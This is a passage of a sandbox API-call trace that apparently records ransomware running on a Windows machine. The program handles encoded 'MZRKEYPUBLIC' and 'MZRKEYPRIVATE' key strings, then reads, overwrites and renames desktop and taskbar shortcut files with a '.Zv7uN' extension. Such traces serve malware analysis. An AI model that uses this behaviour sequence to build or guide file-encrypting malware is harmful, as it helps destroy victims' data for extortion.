cKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0127.749] GetCurrentThreadId () returned 0xa30 [0127.749] GetCurrentThreadId () returned 0xa30 [0127.750] GetCurrentThreadId () returned 0xa30 [0127.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.750] GetCurrentThreadId () returned 0xa30 [0127.751] GetCurrentThreadId () returned 0xa30 [0127.751] GetCurrentThreadId () returned 0xa30 [0127.751] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.751] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.751] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.751] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x485 [0127.751] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.751] ReadFile (in: hFile=0x128, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x485, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x485, lpOverlapped=0x0) returned 1 [0127.756] CloseHandle (hObject=0x128) returned 1 [0127.756] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.759] WriteFile (in: hFile=0x128, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x485, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f978*=0x485, lpOverlapped=0x0) returned 1 [0127.761] CloseHandle (hObject=0x128) returned 1 [0127.761] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.Zv7uN" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.zv7un")) returned 1 [0127.762] GetCurrentThreadId () returned 0xa30 [0127.762] GetCurrentThreadId () returned 0xa30 [0127.762] GetCurrentThreadId () returned 0xa30 [0127.762] GetCurrentThreadId () returned 0xa30 [0127.762] GetCurrentThreadId () returned 0xa30 [0127.762] GetCurrentThreadId () returned 0xa30 [0127.762] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0127.763] GetLastError () returned 0x12 [0127.763] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0127.763] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ce6800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60ce6800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0127.763] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ce6800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60ce6800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0127.763] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x60c4e280, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Adobe Reader X.lnk.Zv7uN", cAlternateFileName="ADOBER~1.ZV7")) returned 1 [0127.763] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0127.763] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.763] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0127.763] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60c743e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Google Chrome.lnk.Zv7uN", cAlternateFileName="GOOGLE~1.ZV7")) returned 1 [0127.763] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.764] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.764] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x60ce6800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Mozilla Firefox.lnk.Zv7uN", cAlternateFileName="MOZILL~1.ZV7")) returned 1 [0127.764] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.764] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.764] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x60ce6800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Mozilla Firefox.lnk.Zv7uN", cAlternateFileName="MOZILL~1.ZV7")) returned 0 [0127.764] GetLastError () returned 0x12 [0127.764] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0127.764] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0127.764] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar")) returned 0x11 [0127.764] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0127.765] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0127.765] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="..", cAlternateFileName="")) returned 1 [0127.765] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc4b320, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0127.765] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0127.765] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.765] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e02c640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e02c640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0127.765] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.765] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e02c640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e02c640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd)) returned 1 [0127.766] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk")) returned 0x20 [0127.766] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk", dwFileAttributes=0x80) returned 1 [0127.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXs